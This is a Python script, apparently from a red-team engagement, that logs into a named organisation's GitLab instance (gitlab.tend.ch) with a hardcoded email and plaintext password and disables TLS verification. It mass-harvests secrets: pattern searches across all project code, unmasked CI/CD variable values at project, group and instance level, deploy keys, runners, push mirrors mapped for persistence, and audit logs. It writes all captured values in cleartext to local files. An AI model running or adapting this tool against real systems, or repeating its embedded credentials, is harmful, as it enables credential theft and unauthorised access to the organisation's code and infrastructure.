#!/usr/bin/env python3
"""L2 secrets scan for gitlab.tend.ch (Tend AG) — instance admin OAuth token.

Engagement one-off (lives in redteam/<target>/ per docs/scripts-index.md).
Read-only L2 scope per docs/methodology.md:
  - GitLab Advanced Search (Elasticsearch) blobs: global secret patterns, all projects
  - CI/CD variables: all projects + all groups (values captured, no-masking rule)
  - Admin-only enumeration: instance runners, deploy keys, push mirrors (persistence map)
  - Exfil assessment: admin audit_events (read-only log analysis, Phase 4 auto-approved)
  - .gitlab-ci.yml sampling: top-25 projects by activity (secret literals in pipelines)

Output: secrets.json (raw), secrets_summary.md (human), progress on stderr.
No writes to the target. Token via OAuth password grant (creds from L1, README.md).
"""
import json
import re
import ssl
import sys
import time
import urllib.error
import urllib.parse
import urllib.request
from concurrent.futures import ThreadPoolExecutor, as_completed
from pathlib import Path

BASE = "https://gitlab.tend.ch"
USER = "login@tend.ch"
PW = "Doornik1142"
HERE = Path(__file__).resolve().parent
OUT_JSON = HERE / "secrets.json"
OUT_MD = HERE / "secrets_summary.md"

WORKERS = 10
CI_SAMPLE = 25          # .gitlab-ci.yml raw fetch cap (Phase 4 sampling)
BLOB_PER_PAGE = 100
SEARCH_CAP_PER_PROJECT = 400   # blob hits per project (basic search, ranked)
MAX_SNIPPET_BYTES = 12000      # truncate huge blob snippets

CTX = ssl.create_default_context()
CTX.check_hostname = False
CTX.verify_mode = ssl.CERT_NONE
UA = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) ir-assessment-l2"}

# Advanced-search blob patterns (Elasticsearch syntax, substring match on code)
BLOB_PATTERNS = [
    "password", "passwd", "secret", "api_key", "apikey", "api-key", "token",
    "PRIVATE KEY", "BEGIN RSA", "BEGIN OPENSSH", "BEGIN EC",
    "AKIA", "aws_secret", "xoxb-", "xoxp-", "glpat-", "gloas-", "glcbt-",
    "sk_live", "sk_test", "sk-proj-", "AIza", "ghp_", "github_pat_",
    "shpat_", "eyJhbGciOi", "SG.", "authorization: basic", "smtp",
    "jdbc:", "mongodb://", "postgres://", "mysql://", "redis://",
]

SECRET_KEY_RE = re.compile(r"(?i)(pass(word|wd)?|secret|api[_-]?key|token|"
                           r"private[_-]?key|access[_-]?key|client[_-]?secret|"
                           r"auth|credential|cert|jwt|bearer)")
NOISE_RE = re.compile(r"[<>{}();]|this\.|\$refs|translate=|^\s*$|function")
# value denylist: identifiers that look secret-shaped but are not
VALUE_DENY_RE = re.compile(
    r"(?ix)(^\.data-api$|^publickeytoken$|^b03f5f7f11d50a3a$|"       # .NET well-known PKT
    r"^process\.env\.|^env\(|^isset\(|^config\.|^tobemodified|^placeholder|^your[-_])")


def _is_real_secret_value(v: str) -> bool:
    if not v or len(v) < 8 or len(v) > 500:
        return False
    if NOISE_RE.search(v) or VALUE_DENY_RE.search(v):
        return False
    # must contain at least one digit or symbol — pure-alpha words are usually identifiers
    return bool(re.search(r"[a-zA-Z]", v) and re.search(r"[0-9_+/=.@$-]", v))


def req(url, method="GET", headers=None, data=None, timeout=30):
    h = dict(UA)
    if headers:
        h.update(headers)
    r = urllib.request.Request(url, data=data, headers=h, method=method)
    try:
        with urllib.request.urlopen(r, timeout=timeout, context=CTX) as resp:
            return resp.status, resp.headers, resp.read().decode("utf-8", errors="replace")
    except urllib.error.HTTPError as e:
        return e.code, dict(e.headers or {}), e.read().decode("utf-8", errors="replace")
    except Exception as e:
        return 0, {}, f"{type(e).__name__}: {e}"


def get_json(url, H, timeout=30):
    st, hdrs, body = req(url, headers=H, timeout=timeout)
    if st != 200:
        return None, st, hdrs
    try:
        return json.loads(body), st, hdrs
    except json.JSONDecodeError:
        return None, st, hdrs


def paged(base_url, H, max_items, label=""):
    """Paginate via X-Next-Page until cap."""
    items, page = [], 1
    sep = "&" if "?" in base_url else "?"
    while len(items) < max_items:
        url = f"{base_url}{sep}per_page={BLOB_PER_PAGE}&page={page}"
        data, st, hdrs = get_json(url, H)
        if data is None or not isinstance(data, list) or not data:
            break
        items.extend(data)
        nxt = hdrs.get("X-Next-Page") or hdrs.get("x-next-page") or ""
        if not nxt:
            break
        page = int(nxt)
    if label:
        print(f"    [{label}] {len(items)} items", file=sys.stderr)
    return items[:max_items]


def score_blob(data: str, path: str) -> int:
    """Heuristic severity score for a blob hit: 0=noise, 1=maybe, 2=likely secret."""
    score = 0
    if SECRET_KEY_RE.search(path):
        score += 1
    for line in data.splitlines():
        m = re.search(r"(?i)(pass(word|wd)?|secret|api[_-]?key|token|private[_-]?key)"
                      r"\s*[:=]\s*[\"']?([^\s\"',}]{8,})", line)
        if m and _is_real_secret_value(m.group(3)):
            score = 2
            break
        if re.search(r"-----BEGIN [A-Z ]*PRIVATE KEY-----", line):
            score = 2
            break
    return score


def main():
    t0 = time.time()
    # --- auth ---
    st, _, body = req(BASE + "/oauth/token", method="POST",
                      headers={"Content-Type": "application/x-www-form-urlencoded"},
                      data=urllib.parse.urlencode(
                          {"grant_type": "password", "username": USER, "password": PW}).encode())
    tok = json.loads(body)["access_token"]
    H = {"Authorization": f"Bearer {tok}"}
    print(f"[+] token ok ({time.time()-t0:.0f}s)", file=sys.stderr)

    out = {"base": BASE, "user": USER, "scan_start": time.strftime("%Y-%m-%d %H:%M:%S UTC", time.gmtime())}

    # --- projects & groups (full lists w/ ids) ---
    projects, _, _ = get_json(BASE + "/api/v4/projects?membership=true&per_page=100&order_by=last_activity_at", H)
    out["projects"] = [{"id": p["id"], "path": p["path_with_namespace"],
                        "last_activity": p.get("last_activity_at")} for p in projects]
    groups, _, _ = get_json(BASE + "/api/v4/groups?per_page=100&all_available=true", H)
    out["groups"] = [{"id": g["id"], "path": g["full_path"]} for g in groups]
    print(f"[+] {len(projects)} projects, {len(groups)} groups", file=sys.stderr)

    # --- 1) Per-project basic blob search (Elasticsearch is OFF on this instance,
    #        global scope=blobs → 400. Project-level search works: basic search.) ---
    blob_hits = []

    def search_project(p):
        hits = []
        seen_path = set()
        for q in BLOB_PATTERNS:
            if len(hits) >= SEARCH_CAP_PER_PROJECT:
                break
            url = (BASE + f"/api/v4/projects/{p['id']}/search?scope=blobs&search="
                   + urllib.parse.quote(q))
            try:
                items, st, _ = get_json(url, H, timeout=40)
            except Exception:
                continue
            if not isinstance(items, list):
                continue
            for b in items:
                path = b.get("path") or ""
                if path in seen_path:
                    continue
                seen_path.add(path)
                data = (b.get("data") or "")[:MAX_SNIPPET_BYTES]
                hits.append({"query": q, "project": p["path"],
                             "project_id": p["id"], "path": path,
                             "ref": b.get("ref"), "startline": b.get("startline"),
                             "data": data, "score": score_blob(data, path)})
        return p["path"], hits

    done = 0
    with ThreadPoolExecutor(max_workers=WORKERS) as ex:
        futs = [ex.submit(search_project, p) for p in out["projects"]]
        for f in as_completed(futs):
            path, hits = f.result()
            blob_hits.extend(hits)
            done += 1
            if hits:
                hi_n = sum(1 for h in hits if h["score"] == 2)
                print(f"    [{done}/{len(out['projects'])}] {path}: {len(hits)} files"
                      f" (hi={hi_n})", file=sys.stderr)
            elif done % 10 == 0:
                print(f"    [{done}/{len(out['projects'])}] …", file=sys.stderr)
    out["blob_hits"] = blob_hits
    print(f"[+] blob hits: {len(blob_hits)} files "
          f"(score2={sum(1 for b in blob_hits if b['score']==2)})", file=sys.stderr)

    # --- 2) CI/CD variables: projects + groups (parallel) ---
    proj_vars, grp_vars = [], []

    def fetch_proj_vars(p):
        try:
            vs, st, _ = get_json(BASE + f"/api/v4/projects/{p['id']}/variables", H)
            if isinstance(vs, list):
                return [{"scope": "project", "project": p["path"], "key": v.get("key"),
                         "value": v.get("value"), "masked": v.get("masked"),
                         "protected": v.get("protected"), "raw": v.get("raw"),
                         "environment_scope": v.get("environment_scope")} for v in vs]
        except Exception:
            pass
        return []

    def fetch_grp_vars(g):
        try:
            vs, st, _ = get_json(BASE + f"/api/v4/groups/{g['id']}/variables", H)
            if isinstance(vs, list):
                return [{"scope": "group", "group": g["path"], "key": v.get("key"),
                         "value": v.get("value"), "masked": v.get("masked"),
                         "protected": v.get("protected"), "raw": v.get("raw"),
                         "environment_scope": v.get("environment_scope")} for v in vs]
        except Exception:
            pass
        return []

    with ThreadPoolExecutor(max_workers=WORKERS) as ex:
        futs = [ex.submit(fetch_proj_vars, p) for p in out["projects"]]
        futs += [ex.submit(fetch_grp_vars, g) for g in out["groups"]]
        for i, f in enumerate(as_completed(futs), 1):
            for row in f.result():
                (proj_vars if row["scope"] == "project" else grp_vars).append(row)
            if i % 20 == 0:
                print(f"    vars {i}/{len(futs)}", file=sys.stderr)
    out["ci_variables"] = proj_vars + grp_vars
    print(f"[+] CI vars: {len(proj_vars)} project + {len(grp_vars)} group", file=sys.stderr)

    # --- 3) Admin-only: runners, deploy keys, push mirrors, instance variables ---
    runners, st, _ = get_json(BASE + "/api/v4/runners/all?per_page=100", H)
    out["runners"] = runners if isinstance(runners, list) else {"status": st, "body": runners}
    print(f"[+] runners: {len(runners) if isinstance(runners, list) else st}", file=sys.stderr)

    dkeys, st, _ = get_json(BASE + "/api/v4/deploy_keys?per_page=100", H)
    out["deploy_keys"] = dkeys if isinstance(dkeys, list) else {"status": st}
    print(f"[+] deploy keys: {len(dkeys) if isinstance(dkeys, list) else st}", file=sys.stderr)

    ivars, st, _ = get_json(BASE + "/api/v4/admin/ci/variables", H)
    out["instance_ci_variables"] = ivars if isinstance(ivars, list) else {"status": st}
    print(f"[+] instance CI vars: {len(ivars) if isinstance(ivars, list) else st}", file=sys.stderr)

    def fetch_mirror(p):
        try:
            ms, st, _ = get_json(BASE + f"/api/v4/projects/{p['id']}/remote_mirrors", H)
            if isinstance(ms, list) and ms:
                return [{"project": p["path"], **{k: m.get(k) for k in
                        ("url", "enabled", "only_protected_branches", "keep_divergent_refs")}} for m in ms]
        except Exception:
            pass
        return []

    mirrors = []
    with ThreadPoolExecutor(max_workers=WORKERS) as ex:
        for f in as_completed([ex.submit(fetch_mirror, p) for p in out["projects"]]):
            mirrors.extend(f.result())
    out["push_mirrors"] = mirrors
    print(f"[+] push mirrors: {len(mirrors)}", file=sys.stderr)

    # --- 4) .gitlab-ci.yml sampling (top by activity) ---
    ci_files = []
    def fetch_ci(p):
        try:
            url = (BASE + f"/api/v4/projects/{p['id']}/repository/files/"
                   + urllib.parse.quote(".gitlab-ci.yml", safe="") + "/raw?ref=HEAD")
            st, _, body = req(url, headers=H)
            if st == 200 and SECRET_KEY_RE.search(body):
                return {"project": p["path"], "content": body[:20000]}
        except Exception:
            pass
        return None

    with ThreadPoolExecutor(max_workers=WORKERS) as ex:
        for f in as_completed([ex.submit(fetch_ci, p) for p in out["projects"][:CI_SAMPLE]]):
            r = f.result()
            if r:
                ci_files.append(r)
    out["gitlab_ci_files"] = ci_files
    print(f"[+] .gitlab-ci.yml w/ secret-ish content: {len(ci_files)}/{CI_SAMPLE}", file=sys.stderr)

    # --- 5) Audit events (exfil assessment, read-only) ---
    audit, st, _ = get_json(BASE + "/api/v4/audit_events?per_page=100", H)
    out["audit_events_sample"] = audit if isinstance(audit, list) else {"status": st}
    print(f"[+] audit events: {len(audit) if isinstance(audit, list) else st}", file=sys.stderr)

    out["scan_end"] = time.strftime("%Y-%m-%d %H:%M:%S UTC", time.gmtime())
    out["duration_s"] = round(time.time() - t0, 1)

    OUT_JSON.write_text(json.dumps(out, indent=1, ensure_ascii=False))

    # --- summary md ---
    proj_by_id = {p["id"]: p["path"] for p in out["projects"]}
    hi = [b for b in blob_hits if b["score"] == 2]
    lines = [
        "# L2 secrets scan — gitlab.tend.ch",
        f"- Scan: {out['scan_start']} → {out['scan_end']} ({out['duration_s']}s)",
        f"- Projects: {len(out['projects'])}, Groups: {len(out['groups'])}",
        f"- Blob hits (per-project basic search): {len(blob_hits)} files, **{len(hi)} high-confidence**",
        f"- CI/CD variables: {len(proj_vars)} project + {len(grp_vars)} group"
        f" + {len(ivars) if isinstance(ivars, list) else 0} instance",
        f"- Runners: {len(runners) if isinstance(runners, list) else 'n/a'}"
        f", Deploy keys: {len(dkeys) if isinstance(dkeys, list) else 'n/a'}"
        f", Push mirrors: {len(mirrors)}",
        f"- .gitlab-ci.yml sampled: {CI_SAMPLE}, with secret-ish content: {len(ci_files)}",
        "", "## High-confidence blob hits (score=2)", "",
    ]
    for b in hi[:80]:
        lines.append(f"### {proj_by_id.get(b['project_id'], b['project_id'])} — `{b['path']}` (q={b['query']})")
        snippet = "\n".join(b["data"].splitlines()[:8])
        lines.append("```\n" + snippet + "\n```")
    if len(hi) > 80:
        lines.append(f"_… {len(hi)-80} more in secrets.json_")
    lines += ["", "## CI/CD variables (non-empty values)", ""]
    for v in out["ci_variables"]:
        sc = f"proj:{v.get('project')}" if v["scope"] == "project" else f"grp:{v.get('group')}"
        val = v.get("value") or ""
        lines.append(f"- [{v['scope']}] {sc} `{v.get('key')}` = `{val}`"
                     f" (masked={v.get('masked')}, protected={v.get('protected')})")
    OUT_MD.write_text("\n".join(lines) + "\n")
    print(f"[+] → {OUT_JSON}\n[+] → {OUT_MD}", file=sys.stderr)


if __name__ == "__main__":
    main()